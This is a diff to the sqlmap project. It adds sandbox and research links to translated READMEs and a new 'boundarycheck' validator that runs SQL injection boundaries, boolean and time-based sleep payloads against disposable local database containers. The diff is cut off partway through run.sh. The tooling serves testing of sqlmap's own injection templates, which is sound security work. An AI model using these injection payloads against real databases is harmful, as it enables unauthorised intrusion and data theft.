@@ -47,4 +47,6 @@ sqlmap работает из коробки с [Python](https://www.python.org/d
 * Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Песочница: https://sekumart.sekuripy.hr
+* Исследования: https://www.sekuripy.hr/labs/sqlmap/#research
 * Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-sk-SK.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -47,4 +47,6 @@ Linky
 * Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Cvičisko: https://sekumart.sekuripy.hr
+* Výskum: https://www.sekuripy.hr/labs/sqlmap/#research
 * Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-tr-TR.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -50,4 +50,6 @@ Bağlantılar
 * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Deneme alanı: https://sekumart.sekuripy.hr
+* Araştırma: https://www.sekuripy.hr/labs/sqlmap/#research
 * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-uk-UA.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -47,4 +47,6 @@ sqlmap «працює з коробки» з [Python](https://www.python.org/dow
 * Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Пісочниця: https://sekumart.sekuripy.hr
+* Дослідження: https://www.sekuripy.hr/labs/sqlmap/#research
 * Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-vi-VN.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -49,4 +49,6 @@ Liên kết
 * Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* Sân tập: https://sekumart.sekuripy.hr
+* Nghiên cứu: https://www.sekuripy.hr/labs/sqlmap/#research
 * Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

doc/translations/README-zh-CN.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 
@@ -46,4 +46,6 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/)  **2.7**  和
 * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
 * X: [@sqlmap](https://x.com/sqlmap)
 * 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
+* 靶场: https://sekumart.sekuripy.hr
+* 研究: https://www.sekuripy.hr/labs/sqlmap/#research
 * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots

extra/boundarycheck/README.md

@@ -0,0 +1,112 @@
+# boundarycheck
+
+A live cross-DBMS validator for `data/xml/boundaries.xml`. For every reachable DBMS it builds the
+**real** injected value for each boundary (through sqlmap's own `agent.prefixQuery` / `suffixQuery` /
+`cleanupPayload`, not a re-implementation) across representative host-query contexts, runs it against
+the engine, and classifies each boundary via three oracles:
+
+```
+W  boolean    TRUE/FALSE variants are valid AND their row counts differ
+T  time       an inline conditional sleep delays on TRUE, not on FALSE   (MySQL / PostgreSQL)
+I  inband     an injected marker surfaces in the result set              (table cross-join / UNION)
+.  inert      valid SQL but no channel discriminated in the contexts tried
+x  invalid    a syntax / semantic error on this engine
+```
+
+It prints a `boundary x engine` matrix plus the boundaries usable via **no** oracle on any engine
+(the "no working context found" review candidates). Any engine that does not connect is **skipped**
+and reported as such — never silently counted as covered.
+
+> Scope: covers boolean + inline-time (MySQL/PG) + inband over a sampled set of contexts. It does
+> **not** model an error-based oracle, inline time on MSSQL/Oracle (statement/privilege-gated sleep),
+> or every possible host context. So a boundary flagged "usable via no oracle" may still work via one
+> of those — confirm before acting.
+
+---
+
+## Quick start (throwaway MySQL + PostgreSQL)
+
+```bash
+pip install pymysql psycopg2-binary          # python drivers (see below for MSSQL/Oracle)
+./run.sh                                       # spins up 2 containers, runs, tears everything down
+```
+
+`run.sh` is fully disposable: it creates two containers, waits for readiness, runs the tool, and
+removes them again on exit (including Ctrl-C / failure). Nothing persists.
+
+---
+
+## Full lab (all four engines) — step by step
+
+The tool's built-in default endpoints (override any via env var — see below):
+
+| engine     | host:port         | user / pass          | db / service |
+|------------|-------------------|----------------------|--------------|
+| MySQL      | `127.0.0.1:13306` | `root` / `root`      | —            |
+| PostgreSQL | `127.0.0.1:15432` | `esp` / `pass`       | `espdb`      |
+| MSSQL      | `127.0.0.1:11433` | `sa` / `Esp_pass123` | —            |
+| Oracle     | `127.0.0.1:1521`  | `system` / `oracle`  | `FREEPDB1`   |
+
+### 1. Python drivers
+
+```bash
+pip install pymysql psycopg2-binary pymssql oracledb
+```
+
+(Install only the ones you need — a missing driver just skips that engine.)
+
+### 2. Start the containers
+
+```bash
+# MySQL (fast)
+docker run -d --rm --name bcheck-mysql -e MYSQL_ROOT_PASSWORD=root -p 13306:3306 mysql:8.4
+
+# PostgreSQL (fast)
+docker run -d --rm --name bcheck-pg -e POSTGRES_USER=esp -e POSTGRES_PASSWORD=pass -e POSTGRES_DB=espdb -p 15432:5432 postgres:16
+
+# MSSQL (slower; ~30-60s to accept connections)
+docker run -d --rm --name bcheck-mssql -e ACCEPT_EULA=Y -e MSSQL_SA_PASSWORD=Esp_pass123 -p 11433:1433 mcr.microsoft.com/mssql/server:2022-latest
+
+# Oracle Free (slowest; first boot can take a few minutes and the image is large)
+docker run -d --rm --name bcheck-oracle -e ORACLE_PASSWORD=oracle -p 1521:1521 gvenzl/oracle-free:slim
+```
+
+Give MSSQL/Oracle time to finish initialising before running the tool (watch `docker logs -f <name>`).
+
+### 3. Run
+
+```bash
+python3 boundarycheck.py            # from anywhere; it locates the sqlmap root itself
+```
+
+### 4. Override an endpoint (optional)
+
+```
+BC_MYSQL=host:port:user:pass
+BC_POSTGRES=host:port:user:pass:db
+BC_MSSQL=host:port:user:pass
+BC_ORACLE=host:port:user:pass:service      # service_name goes in the db slot
+```
+
+```bash
+BC_MYSQL=10.0.0.5:3306:root:secret python3 boundarycheck.py
+```
+
+### 5. Tear down
+
+```bash
+docker rm -f bcheck-mysql bcheck-pg bcheck-mssql bcheck-oracle
+```
+
+---
+
+## Notes
+
+- **Faithfulness:** the tool imports the `plugins.dbms.*` packages so each DBMS's `unescaper` is
+  registered. Without that, `SELECT '[RANDSTR]'` renders as a bare identifier instead of the real
+  `0x`-hex / `CHR()` literal and concat-style boundaries are mis-reported. A `_faithful_or_die()`
+  self-check aborts if the registration ever fails to load.
+- **Side-effect-free on the target data:** it creates a scratch table `bc` (and a `boundarycheck`
+  database on MySQL), and drops them on completion. DML boundaries write only to a spare `note` column.
+- Engines are used purely as SQL oracles over localhost throwaway containers — do not point the
+  override env vars at anything you care about.

extra/boundarycheck/boundarycheck.py

@@ -0,0 +1,389 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+
+Live cross-DBMS validator for data/xml/boundaries.xml.
+
+WHAT
+    For every reachable DBMS this builds the REAL injected parameter value for each
+    boundary - through the actual agent.prefixQuery / suffixQuery / cleanupPayload
+    path, NOT a re-implementation - across a set of representative host-query
+    contexts, runs the TRUE and FALSE variants against the live engine, and
+    classifies the boundary via three oracles:
+
+        W (WORKS)  boolean: TRUE/FALSE variants are valid AND their row counts differ
+        T (TIME)   inline conditional sleep delays on TRUE, not on FALSE (MySQL/PG only)
+        I (INBAND) an injected marker surfaces in the result set (table cross-join / UNION)
+        . (inert)  valid SQL but no channel discriminates in the contexts tried
+        x (invalid) a syntax/semantic error on this engine
+
+    Output is a boundary x engine matrix plus the boundaries usable via NO oracle on any
+    reachable engine - the "no working context found" review candidates.
+
+WHY
+    boundaries.xml is the detection core. This answers "does boundary X actually
+    produce valid, discriminating SQL on engine Y" with evidence instead of argument.
+
+FAITHFULNESS (do not remove the plugins.dbms.* imports)
+    The per-DBMS `unescaper` registrations load only when the plugin packages are
+    imported. Without them "SELECT '[RANDSTR]'" renders as a bare identifier instead
+    of the real 0x-hex / CHR() literal, and every concat-style boundary is falsely
+    reported broken. The import plus _faithful_or_die() guard against that.
+
+SCOPE / LIMITATION
+    Covers the boolean, inline-time (MySQL/PG) and inband oracles over a representative
+    set of host contexts. Still NOT modeled: the error-based oracle, inline time on
+    MSSQL/Oracle (statement/privilege-gated sleep), and any host context not in the set.
+    So a boundary flagged "usable via NO oracle" may still work via one of those - confirm
+    before acting. "inert" means no channel discriminated in the contexts tried.
+
+BENCH
+    Needs live engines. Defaults target the local docker bench; any engine that does
+    not connect (driver missing or refused) is SKIPPED and reported as skipped - never
+    silently counted as covered. Override a target with an env var (host:port:user:pass[:db]):
+
+        MySQL       BC_MYSQL       default 127.0.0.1:13306:root:root
+        PostgreSQL  BC_POSTGRES    default 127.0.0.1:15432:esp:pass:espdb
+        MSSQL       BC_MSSQL       default 127.0.0.1:11433:sa:Esp_pass123
+        Oracle      BC_ORACLE      default 127.0.0.1:1521:system:oracle:FREEPDB1  (service_name in db slot)
+
+USAGE (from the sqlmap root)
+        python extra/boundarycheck/boundarycheck.py
+"""
+
+from __future__ import print_function
+
+import os
+import sys
+import time
+import xml.etree.ElementTree as ET
+
+_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
+sys.path.insert(0, _ROOT)
+sys.path.insert(0, os.path.join(_ROOT, "tests"))
+
+from _testutils import bootstrap, set_dbms
+bootstrap()
+
+# Faithfulness (see FAITHFULNESS above): importing each DBMS plugin package runs its module-level
+# `unescaper[<dbms>] = Syntax.escape` registration - a side effect, not a symbol we use. Trigger it via
+# import_module so there is no bound-but-unused name for pyflakes to flag.
+import importlib
+for _plugin in ("mysql", "postgresql", "oracle", "mssqlserver"):
+    importlib.import_module("plugins.dbms.%s" % _plugin)
+
+from lib.core.data import conf, kb
+from lib.core.datatype import AttribDict
+from lib.core.enums import PAYLOAD
+from lib.core.unescaper import unescaper
+import lib.core.agent as _agentmod
+
+agent = _agentmod.agent
+conf.noEscape = False
+
+TRUE_PAYLOAD = "AND 9911=9911"
+FALSE_PAYLOAD = "AND 9911=9912"
+TIME_THRESHOLD = 0.4   # seconds; a conditional sleep of ~0.7s must clear this, a no-op must not
+INBAND_MARKER = "qBCiNBANDq"                 # distinctive token; if it surfaces in the result set the
+INBAND_PAYLOAD = "(SELECT '%s')" % INBAND_MARKER   # boundary opens an inband output channel (e.g. a table cross-join)
+
+# per-engine conditional-sleep payload pair (delay-if-true, no-delay) for the TIME oracle. Only engines
+# with an INLINE sleep expression are covered; MSSQL (WAITFOR is a statement) and Oracle (DBMS_LOCK/PIPE,
+# privilege-gated) need a statement/stacked sleep, so their inline time-usability is NOT modeled here.
+SLEEP = {
+    "MySQL":      ("AND 0=(SELECT SLEEP(0.7))", "AND 0=(SELECT SLEEP(0))"),        # subquery => fires once, not per-row
+    "PostgreSQL": ("AND 1=(SELECT 1 FROM pg_sleep(0.7))", "AND 1=(SELECT 1 FROM pg_sleep(0))"),
+}
+
+# portable WHERE-clause contexts at parenthesis depths 0-3 (numeric + single-quoted string), so the
+# ')' / '))' / ')))' and "'" / "')" / "'))" boundary families each meet a host that actually closes
+# the matching depth. Reused by every engine; engine-specific contexts are appended in the adapters.
+WHERE_CONTEXTS = [
+    ("SELECT COUNT(*) FROM bc WHERE name LIKE '%%%s%%'", "orig"),                     # LIKE '%...%'
+    ("SELECT COUNT(*) FROM bc %s", ""),                                              # bare pre-WHERE (add a WHERE)
+    ("SELECT COUNT(*) FROM (SELECT * FROM bc WHERE id=%s) q", "1"),                   # derived table (numeric)
+    ("SELECT COUNT(*) FROM (SELECT * FROM bc WHERE name='%s') q", "orig"),            # derived table (single-quote)
+    ("SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE id=%s) a) q", "1"),        # derived table 2-deep
+    ("SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE name='%s') a) q", "orig"),
+    ("UPDATE bc SET note='%s' WHERE id=1", "orig"),                                  # pre-WHERE DML (rowcount oracle)
+    ("SELECT * FROM %s", "bc"),                                                      # table-name (inband cross-join)
+]
+for _depth in range(4):
+    _open, _close = "(" * _depth, ")" * _depth
+    WHERE_CONTEXTS.append(("SELECT COUNT(*) FROM bc WHERE " + _open + "id=%s" + _close, "1"))
+    WHERE_CONTEXTS.append(("SELECT COUNT(*) FROM bc WHERE " + _open + "name='%s'" + _close, "orig"))
+
+
+def _faithful_or_die():
+    set_dbms("MySQL")
+    if unescaper.escape("abc", quote=False) == "abc":
+        sys.exit("FATAL: unescaper not registered - '[RANDSTR]' would render as a bare identifier and "
+                 "verdicts would be wrong. Check the plugins.dbms.* imports at the top of this file.")
+
+
+def build_value(dbms, prefix, suffix, clause, payload, orig):
+    """The real injected parameter value for where=ORIGINAL (checks.py:490-493 + agent.payload line 181/183)."""
+    set_dbms(dbms)
+    kb.injection = AttribDict()
+    for _ in ("prefix", "suffix", "clause", "ptype", "place", "parameter"):
+        kb.injection[_] = None
+    kb.injection.data = AttribDict()
+    kb.technique = None
+    forged = agent.prefixQuery(agent.cleanupPayload(payload), prefix, PAYLOAD.WHERE.ORIGINAL, clause)
+    forged = agent.suffixQuery(forged, None, suffix, PAYLOAD.WHERE.ORIGINAL)
+    value = agent.cleanupPayload("%s%s" % (orig, forged), orig) or ""
+    return value.replace(_agentmod.BOUNDARY_BACKSLASH_MARKER, "\\")
+
+
+def make_run(cur, rollback=None):
+    """A query runner: returns ("ok", rows) for a result set, ("ok", ("rc", n)) for a DML row count
+    (cursor.description is None => no result set), or ("err", msg). DML lets pre-WHERE boundaries be
+    judged by affected-row count (TRUE matches rows, FALSE matches none)."""
+    def run(sql):
+        try:
+            cur.execute(sql)
+        except Exception as e:
+            if rollback:
+                try:
+                    rollback()
+                except Exception:
+                    pass
+            return ("err", str(e).splitlines()[-1][:50])
+        if cur.description is None:
+            return ("ok", ("rc", cur.rowcount))
+        return ("ok", tuple(cur.fetchall()))
+    return run
+
+
+def classify(run, dbms, prefix, suffix, clause, contexts):
+    """Best verdict of a boundary across the engine's contexts: WORKS(boolean) > TIME > inert > invalid.
+
+    The TIME oracle only runs when the boolean probe was valid-but-inert (best=='inert') - i.e. the
+    injected SQL parses and runs but the boolean AND does not change the row count. That is exactly the
+    error/time-primitive candidate: a conditional sleep that delays on TRUE and not on FALSE proves the
+    injected expression actually executes. If every boolean probe was a syntax error (best=='invalid'),
+    the same syntax fails the time payload too, so it is skipped."""
+    best = "invalid"
+    for host, orig in contexts:
+        st, rt = run(host % build_value(dbms, prefix, suffix, clause, TRUE_PAYLOAD, orig))
+        sf, rf = run(host % build_value(dbms, prefix, suffix, clause, FALSE_PAYLOAD, orig))
+        if st == "ok" and sf == "ok":
+            if rt != rf:
+                return "WORKS"
+            best = "inert"
+
+    if best == "inert" and dbms in SLEEP:
+        slow_p, fast_p = SLEEP[dbms]
+        for host, orig in contexts:
+            t0 = time.time()
+            run(host % build_value(dbms, prefix, suffix, clause, slow_p, orig))
+            if time.time() - t0 >= TIME_THRESHOLD:                      # TRUE variant delayed
+                t0 = time.time()
+                run(host % build_value(dbms, prefix, suffix, clause, fast_p, orig))
+                if time.time() - t0 < TIME_THRESHOLD:                   # FALSE variant did not
+                    return "TIME"
+
+    # inband: the injected expression's output surfaces directly in the result set (a table-name
+    # cross-join, UNION or select-list channel) - invisible to the boolean/time oracles above.
+    for host, orig in contexts:
+        st, r = run(host % build_value(dbms, prefix, suffix, clause, INBAND_PAYLOAD, orig))
+        if st == "ok" and INBAND_MARKER in str(r):
+            return "INBAND"
+    return best
+
+
+def _env(name, default):
+    parts = (os.environ.get(name) or default).split(":")
+    parts += [None] * (5 - len(parts))
+    host, port, user, pwd, db = parts[:5]
+    return host, int(port), user, pwd, db
+
+
+# --- engine adapters: return (sqlmap_dbms, run_fn, contexts, cleanup_fn) or None to skip -------------
+
+def _mysql():
+    try:
+        import pymysql
+        h, p, u, w, _ = _env("BC_MYSQL", "127.0.0.1:13306:root:root")
+        c = pymysql.connect(host=h, port=p, user=u, password=w, connect_timeout=5, autocommit=True)
+        cur = c.cursor()
+        cur.execute("CREATE DATABASE IF NOT EXISTS boundarycheck")
+        cur.execute("USE boundarycheck")
+        for q in ("DROP TABLE IF EXISTS bc",
+                  "CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64),FULLTEXT(name)) ENGINE=InnoDB",
+                  "INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')"):
+            cur.execute(q)
+        c.commit()
+    except Exception as ex:
+        return None, str(ex).splitlines()[0][:60]
+
+    run = make_run(cur, c.rollback)
+    contexts = WHERE_CONTEXTS + [
+                ("SELECT `%s` FROM bc", "name"),                           # backtick column identifier
+                ('SELECT COUNT(*) FROM bc WHERE name="%s"', "orig"),        # MySQL: " is a string delim
+                ('SELECT COUNT(*) FROM bc WHERE (name="%s")', "orig"),
+                ('SELECT COUNT(*) FROM bc WHERE ((name="%s"))', "orig"),
+                ('SELECT COUNT(*) FROM bc WHERE (((name="%s")))', "orig"),
+                ('UPDATE bc SET note="%s" WHERE id=1', "orig"),            # double-quote pre-WHERE DML
+                ('SELECT COUNT(*) FROM (SELECT * FROM bc WHERE name="%s") q', "orig"),           # dq derived table
+                ('SELECT COUNT(*) FROM (SELECT * FROM (SELECT * FROM bc WHERE name="%s") a) q', "orig"),
+                ("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"),   # block comment
+                ("SELECT COUNT(*) FROM bc WHERE MATCH(name) AGAINST('%s')", "orig"),  # fulltext (IN BOOLEAN MODE)
+                ("SELECT COUNT(*) FROM `%s`", "bc"),                        # backtick table
+                ("SELECT COUNT(*) FROM (SELECT * FROM `%s`) q", "bc")]      # backtick table in derived
+
+    def cleanup():
+        try:
+            cur.execute("DROP DATABASE boundarycheck"); c.commit(); c.close()
+        except Exception:
+            pass
+    return ("MySQL", run, contexts, cleanup), None
+
+
+def _postgres():
+    try:
+        import psycopg2
+        h, p, u, w, db = _env("BC_POSTGRES", "127.0.0.1:15432:esp:pass:espdb")
+        c = psycopg2.connect(host=h, port=p, user=u, password=w, dbname=db, connect_timeout=5)
+        c.autocommit = True
+        cur = c.cursor()
+        cur.execute("DROP TABLE IF EXISTS bc")
+        cur.execute("CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64))")
+        cur.execute("INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')")
+    except Exception as ex:
+        return None, str(ex).splitlines()[0][:60]
+
+    run = make_run(cur, c.rollback)
+    contexts = WHERE_CONTEXTS + [
+                ('SELECT id FROM bc ORDER BY "%s"', "name"),               # ANSI double-quote identifier
+                ("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"),   # block comment
+                ("SELECT COUNT(*) FROM bc WHERE name=$$%s$$", "orig")]      # dollar quoting
+
+    def cleanup():
+        try:
+            cur.execute("DROP TABLE bc"); c.close()
+        except Exception:
+            pass
+    return ("PostgreSQL", run, contexts, cleanup), None
+
+
+def _mssql():
+    try:
+        import pymssql
+        h, p, u, w, _ = _env("BC_MSSQL", "127.0.0.1:11433:sa:Esp_pass123")
+        c = pymssql.connect(server=h, port=p, user=u, password=w, database="master", autocommit=True, login_timeout=5)
+        cur = c.cursor()
+        for q in ("IF OBJECT_ID('bc') IS NOT NULL DROP TABLE bc", "CREATE TABLE bc(id INT,name VARCHAR(64),note VARCHAR(64))",
+                  "INSERT INTO bc VALUES(1,'orig','n'),(2,'x','n'),(3,'y','n')"):
+            cur.execute(q)
+    except Exception as ex:
+        return None, str(ex).splitlines()[-1][:60]
+
+    run = make_run(cur)
+    contexts = WHERE_CONTEXTS + [
+                ("SELECT [%s] FROM bc", "name"),                           # bracket column identifier (string)
+                ("SELECT [%s] FROM bc", "id"),                             # bracket column identifier (numeric)
+                ("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x")]   # block comment
+
+    def cleanup():
+        try:
+            cur.execute("IF OBJECT_ID('bc') IS NOT NULL DROP TABLE bc"); c.close()
+        except Exception:
+            pass
+    return ("Microsoft SQL Server", run, contexts, cleanup), None
+
+
+def _oracle():
+    try:
+        try:
+            import oracledb as ora
+        except ImportError:
+            import cx_Oracle as ora
+        h, p, u, w, svc = _env("BC_ORACLE", "127.0.0.1:1521:system:oracle:FREEPDB1")
+        c = ora.connect(user=u, password=w, dsn=ora.makedsn(h, p, service_name=svc))
+        c.autocommit = True
+        cur = c.cursor()
+        for q in ("BEGIN EXECUTE IMMEDIATE 'DROP TABLE bc'; EXCEPTION WHEN OTHERS THEN NULL; END;",
+                  "CREATE TABLE bc(id INT, name VARCHAR2(64), note VARCHAR2(64))",
+                  "INSERT INTO bc VALUES(1,'orig','n')", "INSERT INTO bc VALUES(2,'x','n')"):
+            cur.execute(q)
+        c.commit()
+    except Exception as ex:
+        return None, str(ex).splitlines()[0][:60]
+
+    run = make_run(cur, c.rollback)
+    contexts = WHERE_CONTEXTS + [
+                ("SELECT COUNT(*) FROM bc WHERE id=1 /* c='%s' */", "x"),   # block comment
+                ("SELECT COUNT(*) FROM bc WHERE name=q'[%s]'", "orig"),     # alternative quoting q'[...]'
+                ("SELECT COUNT(*) FROM bc WHERE name=q'{%s}'", "orig"),
+                ("SELECT COUNT(*) FROM bc WHERE name=q'(%s)'", "orig"),
+                ("SELECT COUNT(*) FROM bc WHERE name=q'<%s>'", "orig")]
+
+    def cleanup():
+        try:
+            c.close()
+        except Exception:
+            pass
+    return ("Oracle", run, contexts, cleanup), None
+
+
+ADAPTERS = [_mysql, _postgres, _mssql, _oracle]
+
+
+def main():
+    _faithful_or_die()
+
+    boundaries = ET.parse(os.path.join(_ROOT, "data", "xml", "boundaries.xml")).findall(".//boundary")
+
+    engines, skipped = [], []
+    for adapter in ADAPTERS:
+        got, why = adapter()
+        (engines if got else skipped).append(got or (adapter.__name__.strip("_"), why))
+
+    if not engines:
+        print("no reachable DBMS - nothing validated. Bring up the bench (see module docstring).")
+        for name, why in skipped:
+            print("  skipped %-12s (%s)" % (name, why))
+        return
+
+    names = [e[0] for e in engines]
+    mark = {"WORKS": "W", "TIME": "T", "INBAND": "I", "inert": ".", "invalid": "x"}
+    print("boundary%s %s" % (" " * 38, "  ".join("%-6s" % n[:6] for n in names)))
+    print("-" * (46 + 8 * len(names)))
+
+    verdicts = []
+    for idx, b in enumerate(boundaries, 1):
+        g = lambda k: (b.findtext(k) or "").strip()
+        prefix, suffix = b.findtext("prefix") or "", b.findtext("suffix") or ""  # NOT stripped: leading/trailing space is significant SQL
+        clause = [int(x) for x in (g("clause") or "0").split(",") if x.strip().isdigit()]
+        row = []
+        for dbms, run, contexts, _ in engines:
+            row.append(classify(run, dbms, prefix, suffix, clause, contexts))
+        verdicts.append((idx, prefix, row))
+        cells = "  ".join("%-6s" % mark[v] for v in row)
+        print("#%02d p%s c%-5s %-30r %s" % (idx, g("ptype"), g("clause"), prefix[:30], cells))
+
+    for _, _, _, cleanup in engines:
+        cleanup()
+
+    print("\nlegend: W=works (boolean)  T=works (time)  I=works (inband output)  .=valid but inert  x=invalid")
+    print("contexts modeled: WHERE numeric/single-quote (paren depths 0-3), LIKE, block comment, plus")
+    print("  per-engine (MySQL: double-quote + backtick table; PG: ANSI-ident + dollar; Oracle: q'..').")
+    print("  NOT modeled: pre-WHERE DML (clause 9), derived-table AS-alias, table/column identifier,")
+    print("  fulltext AGAINST - boundaries needing those (and any error/time-only ones) show inert here.")
+    print("engines: " + ", ".join(names))
+    for name, why in skipped:
+        print("skipped: %-14s (%s)" % (name, why))
+
+    never = [idx for idx, _, row in verdicts if not ({"WORKS","TIME","INBAND"} & set(row))]
+    print("\nboundaries usable via NO oracle (boolean/time/inband) on any reachable engine (review): %s"
+          % (", ".join("#%02d" % i for i in never) or "none"))
+    print("NOTE: boolean + inline-time oracles over sampled contexts. Still unmodeled: the ERROR oracle,")
+    print("      inline time on MSSQL/Oracle (statement/privilege-gated sleep), and some host contexts.")
+    print("      A boundary here may still be usable via one of those, so confirm before acting.")
+
+
+if __name__ == "__main__":
+    main()

extra/boundarycheck/run.sh

@@ -0,0 +1,43 @@
+#!/usr/bin/env bash
+#
+# Disposable boundary-check lab. Spins up throwaway MySQL + PostgreSQL containers, runs the
+# validator against them, and tears everything down again (even on Ctrl-C / failure).
+#
+# It uses uncommon host ports and points the tool at them via BC_* env vars, so it will NOT collide
+# with any DBMS you already have running (including sqlmap's usual bench). These two engines start in
+# seconds and exercise the boolean, time and inband oracles plus the MySQL-only (backtick, double-
+# quote, fulltext) and PostgreSQL-only (dollar-quote) families. MSSQL and Oracle are slower/heavier -
+# see README.md to add them for full coverage; the tool reports absent engines as "skipped".
+#
+# Usage:   ./run.sh            (requires docker + python drivers pymysql, psycopg2 - see README.md)
+#
+set -euo pipefail
+
+HERE="$(cd "$(dirname "$0")" && pwd)"
+MYSQL_PORT=13399
+PG_PORT=15499
+
+cleanup() { docker rm -f bcheck-mysql bcheck-pg >/dev/null 2>&1 || true; }
+trap cleanup EXIT
+cleanup   # clear any stale containers from a previous aborted run
+
+echo "[*] starting throwaway MySQL (:$MYSQL_PORT) and PostgreSQL (:$PG_PORT) ..."
+docker run -d --rm --name bcheck-mysql -e MYSQL_ROOT_PASSWORD=root -p ${MYSQL_PORT}:3306 mysql:8.4 >/dev/null
+docker run -d --rm --name bcheck-pg   -e POSTGRES_USER=esp -e POSTGRES_PASSWORD=pass -e POSTGRES_DB=espdb -p ${PG_PORT}:5432 postgres:16 >/dev/null
+
+echo "[*] waiting for readiness ..."
+# a real query, not just ping: the mysql:8.4 image accepts pings mid-init then restarts once
+for _ in $(seq 1 90); do docker exec bcheck-mysql mysql -uroot -proot -e "SELECT 1" >/dev/null 2>&1 && break; sleep 2; done
+for _ in $(seq 1 60); do docker exec bcheck-pg   pg_isready -U esp                   >/dev/null 2>&1 && break; sleep 1; done
+
+echo "[*] running boundarycheck ..."
+# only touch the throwaway containers we just created; force MSSQL/Oracle to skip (closed ports) so
+# this never connects to - and creates/drops tables on - whatever might be listening on their defaults.
+BC_MYSQL="127.0.0.1:${MYSQL_PORT}:root:root" \
